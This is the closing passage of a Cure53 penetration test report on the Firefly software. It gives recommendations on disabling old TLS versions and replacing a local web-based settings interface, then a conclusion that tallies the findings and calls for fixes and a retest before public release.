This forces the use of TLS 1.0 regardless of whether the server supports TLS 1.2. This possibly enables cryptographic attacks that would otherwise be mitigated. It is recommended to either set *ssl_version* to *PROTOCOL_TLSv1_2* or use the *OP_NO_…* flags to disable old SSL/TLS versions[16].

[15] https://bugzilla.mozilla.org/show_bug.cgi?id=1080319
[16] https://docs.python.org/3/library/ssl.html?#ssl.OP_NO_SSLv2

FLY-01-023 Settings UI should not be a web application *(Medium)*

Many of the client-side issues described in this report, including the most severe ones, only exist or are only security-relevant because the settings of the user interface belong to a (local) web application If the settings were controlled using a native application, there would be no way for an attacker to interact with them in the first place at all.

Therefore it is recommended to remove all settings from the local webserver (and ideally disable the local webserver entirely). To give the user a capacity to modify settings, it is recommended for a user interface to be created. Certain platform-independent GUI framework could be employed for this purpose`.

Conclusion

This penetration test of the Firefly software conducted by Cure53 team has resulted in a rather worrisome conclusion, especially given the goal and its resulting requirements that the software wishes to attain and meet. Regardless of the small-scale scope of the project, the security-centred tests identified a high number of 15 vulnerabilities and 8 additional general weaknesses.

The main concerns stemming from this assessment are that the problems found in the software compound are not only numerous, but also very diverse. The latter means that it is hard to derive patterns that could facilitate and order the necessary next steps. As such, the exposed heterogeneous issues need to be fixed first, with special attention given to the critical issues allowing for users to be compromised. A retest must be scheduled and executed to follow-up on the repairs implemented, especially with regard to verifying, via unit tests, that the fixed issues did not result in regressions. These steps need to absolutely occur prior to the “public” release of the software. It is further recommended to use this report for creating a security style guidelines. What needs to become an element of both daily business and broader policies at Firefly is a conviction that documentation, testing and regular security checks are key for moving forward.

To conclude on a positive note, one has to clearly state that hardening a platform of this complexity in a thorough, efficient and correct way is by no means an easy task. While significant efforts are clearly still needed, no critical design issues were fortunately found. In addition, being externally audited by professional security testers and ensuring that the cooperation and communication throughout the tests were highly professional and fruitful, can possibly be read as good signs for the future direction and improvements of the Firefly software’s state of security.

Cure53 would like to thank Xiao Qiang and the entire Firefly maintenance team for their excellent project coordination, support and assistance, both before and during this assignment. We would like to further express our gratitude to the Open Technology Fund in Washington D.C., USA, for generously funding this and other penetration test projects.